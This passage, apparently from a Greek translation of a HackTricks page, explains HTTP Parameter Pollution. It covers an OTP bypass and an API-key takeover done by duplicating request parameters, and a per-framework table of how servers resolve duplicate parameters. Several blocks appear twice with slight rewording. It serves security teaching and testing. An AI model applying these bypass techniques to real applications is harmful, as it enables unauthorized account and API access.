* **Method:** Με την παρεμβολή του αιτήματος OTP χρησιμοποιώντας εργαλεία όπως το Burp Suite, οι επιτιθέμενοι διπλασίασαν την παράμετρο `email` στο αίτημα HTTP.
* **Outcome:** Ο OTP, που προοριζόταν για το αρχικό email, στάλθηκε αντί για αυτό στη δεύτερη διεύθυνση email που καθορίστηκε στο χειραγωγημένο αίτημα. Αυτή η αδυναμία επέτρεψε μη εξουσιοδοτημένη πρόσβαση παρακάμπτοντας το προοριζόμενο μέτρο ασφαλείας.
Αυτό το σενάριο αναδεικνύει μια κρίσιμη παράλειψη στην υποδομή της εφαρμογής, η οποία επεξεργάστηκε την πρώτη παράμετρο `email` για την παραγωγή OTP αλλά χρησιμοποίησε την τελευταία για την παράδοση.
Αυτό το σενάριο αναδεικνύει μια κρίσιμη παράλειψη στην υποδομή της εφαρμογής, η οποία επεξεργάστηκε την πρώτη παράμετρο `email` για τη δημιουργία OTP αλλά χρησιμοποίησε την τελευταία για την παράδοση.
**API Key Manipulation Case:**
- **Scenario:** Μια εφαρμογή επιτρέπει στους χρήστες να ενημερώνουν το API key τους μέσω μιας σελίδας ρυθμίσεων προφίλ.
- **Attack Vector:** Ένας επιτιθέμενος ανακαλύπτει ότι προσθέτοντας μια επιπλέον παράμετρο `api_key` στο αίτημα POST, μπορεί να χειριστεί το αποτέλεσμα της λειτουργίας ενημέρωσης του API key.
- **Technique:** Χρησιμοποιώντας ένα εργαλείο όπως το Burp Suite, ο επιτιθέμενος δημιουργεί ένα αίτημα που περιλαμβάνει δύο παραμέτρους `api_key`: μία νόμιμη και μία κακόβουλη. Ο διακομιστής, επεξεργαζόμενος μόνο την τελευταία εμφάνιση, ενημερώνει το API key στην τιμή που παρέχεται από τον επιτιθέμενο.
- **Result:** Ο επιτιθέμενος αποκτά έλεγχο στη λειτουργικότητα API του θύματος, ενδεχομένως αποκτώντας ή τροποποιώντας ιδιωτικά δεδομένα χωρίς εξουσιοδότηση.
* **Scenario:** Μια εφαρμογή επιτρέπει στους χρήστες να ενημερώνουν το API key τους μέσω μιας σελίδας ρυθμίσεων προφίλ.
* **Attack Vector:** Ένας επιτιθέμενος ανακαλύπτει ότι προσθέτοντας μια επιπλέον παράμετρο `api_key` στο αίτημα POST, μπορεί να χειριστεί το αποτέλεσμα της λειτουργίας ενημέρωσης του API key.
* **Technique:** Χρησιμοποιώντας ένα εργαλείο όπως το Burp Suite, ο επιτιθέμενος δημιουργεί ένα αίτημα που περιλαμβάνει δύο παραμέτρους `api_key`: μία νόμιμη και μία κακόβουλη. Ο διακομιστής, επεξεργαζόμενος μόνο την τελευταία εμφάνιση, ενημερώνει το API key στην τιμή που παρέχεται από τον επιτιθέμενο.
* **Result:** Ο επιτιθέμενος αποκτά έλεγχο στη λειτουργικότητα API του θύματος, ενδεχομένως αποκτώντας ή τροποποιώντας ιδιωτικά δεδομένα χωρίς εξουσιοδότηση.
Αυτό το παράδειγμα υπογραμμίζει περαιτέρω την αναγκαιότητα για ασφαλή χειρισμό παραμέτρων, ειδικά σε λειτουργίες τόσο κρίσιμες όσο η διαχείριση API key.
## Parameter Parsing: Flask vs. PHP
### Parameter Parsing: Flask vs. PHP
Ο τρόπος που οι διαδικτυακές τεχνολογίες χειρίζονται διπλές παραμέτρους HTTP διαφέρει, επηρεάζοντας την ευαισθησία τους σε επιθέσεις HPP:
- **Flask:** Υιοθετεί την πρώτη τιμή παραμέτρου που συναντά, όπως `a=1` σε μια συμβολοσειρά ερωτήματος `a=1&a=2`, προτεραιοποιώντας την αρχική εμφάνιση έναντι των επόμενων διπλών.
- **PHP (σε Apache HTTP Server):** Αντίθετα, προτεραιοποιεί την τελευταία τιμή παραμέτρου, επιλέγοντας `a=2` στο δεδομένο παράδειγμα. Αυτή η συμπεριφορά μπορεί ακούσια να διευκολύνει τις εκμεταλλεύσεις HPP τιμώντας την παραμετροποιημένη παράμετρο του επιτιθέμενου αντί της αρχικής.
* **Flask:** Υιοθετεί την πρώτη τιμή παραμέτρου που συναντά, όπως `a=1` σε μια συμβολοσειρά ερωτήματος `a=1&a=2`, δίνοντας προτεραιότητα στην αρχική εμφάνιση σε σχέση με τις επόμενες διπλές.
* **PHP (σε Apache HTTP Server):** Αντίθετα, δίνει προτεραιότητα στην τελευταία τιμή παραμέτρου, επιλέγοντας `a=2` στο δεδομένο παράδειγμα. Αυτή η συμπεριφορά μπορεί ακούσια να διευκολύνει τις εκμεταλλεύσεις HPP τιμώντας την παραμετροποιημένη παράμετρο του επιτιθέμενου αντί της αρχικής.
## Parameter pollution by technology
Τα αποτελέσματα ελήφθησαν από [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
### PHP 8.3.11 AND Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
<figure><img src="../.gitbook/assets/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
1. Αγνοήστε οτιδήποτε μετά το %00 στο όνομα παραμέτρου.
2. Χειριστείτε το name\[] ως πίνακα.
3. \_GET δεν σημαίνει μέθοδο GET.
4. Προτιμήστε την τελευταία παράμετρο.
### Ruby 3.3.5 and WEBrick 1.8.2
<figure><img src="../.gitbook/assets/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
1. Χρησιμοποιεί τους διαχωριστές & και ; για να διαχωρίσει τις παραμέτρους.
2. Δεν αναγνωρίζεται το name\[].
3. Προτιμήστε την πρώτη παράμετρο.
### Spring MVC 6.0.23 AND Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
<figure><img src="../.gitbook/assets/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
2. POST RequestMapping & PostMapping αναγνωρίζουν το name\[].
3. Προτιμήστε το name αν το name και το name\[] υπάρχουν.
4. Συγκεντρώστε παραμέτρους π.χ. first,last.
5. POST RequestMapping & PostMapping αναγνωρίζουν την παράμετρο ερωτήματος με Content-Type.
### **NodeJS** 20.17.0 **AND** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
<figure><img src="../.gitbook/assets/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
1. Αναγνωρίζεται το name\[].
2. Συγκεντρώστε παραμέτρους π.χ. first,last.
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
<figure><img src="../.gitbook/assets/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
1. Δεν αναγνωρίζεται το name\[].
2. Προτιμήστε την πρώτη παράμετρο.
### Python 3.12.6 AND Werkzeug 3.0.4 AND Flask 3.0.3 <a href="#b853" id="b853"></a>
<figure><img src="../.gitbook/assets/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
1. Δεν αναγνωρίζεται το name\[].
2. Προτιμήστε την πρώτη παράμετρο.
### Python 3.12.6 AND Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
<figure><img src="../.gitbook/assets/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
1. Δεν αναγνωρίζεται το name\[].
2. Προτιμήστε την τελευταία παράμετρο.
### Python 3.12.6 AND Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
<figure><img src="../.gitbook/assets/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
1. Δεν αναγνωρίζεται το name\[].
2. Προτιμήστε την τελευταία παράμετρο.
## References
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
* [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>